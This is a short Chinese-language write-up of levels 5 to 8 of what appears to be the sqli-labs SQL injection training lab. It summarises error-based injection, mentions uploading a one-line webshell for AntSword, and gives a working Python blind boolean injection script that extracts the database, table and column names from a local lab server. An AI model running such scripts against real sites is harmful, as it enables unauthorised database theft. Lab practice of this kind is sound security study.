第五关
首先猜出闭合规则''
通过order by得到列数为3
通过报错注入得到数据库名结果
得到表
得到三列名
类似这样得到所有密码
第六关
和第五关差不多,懒得一步一步来
第七关
上传一句话木马用蚁剑
第八关
首先上面报错都不能用了,老老实实写脚本吧,因为知道结构所以就当体验一把了
import requests
url = "http://192.168.1.105/Less-8/?id=1'"
for i in range(0, 15):
temp = url + f"and length(database())={i} --+"
r = requests.get(temp)
if "You are in" in r.text:
print('当前数据库长度:', i)
break
得到数据库长度为8
result = ''
for i in range(1, 9):
for number in range(97, 127):
temp = url + f"and ord(substr(database(),{i}))={number} --+ "
r = requests.get(temp)
if "You are in" in r.text:
print(f"第{i}个字母为{chr(number)}")
result += chr(number);
print("数据库名为:"+result)
得到数据库名为:security
result = ''
for i in range(1, 6):
for number in range(97, 127):
temp = url + f"and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),{i}))={number} --+"
r = requests.get(temp)
if "You are in" in r.text:
print(f"第四张表的第{i}个字母为{chr(number)}")
result += chr(number)
print("第四张表表名为:"+result)
得到第四张表的表名为users
result = ''
for i in range(1, 3):
for number in range(97, 127):
temp = url + f"and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),{i}))={number} --+"
r = requests.get(temp)
if "You are in" in r.text:
print(f"users表的第一列的第{i}个字母为{chr(number)}")
result += chr(number)
print("users表的第一列的列名为:" + result)
得到users表的第一列的列名为:id
之后不再测试了太浪费时间了hhh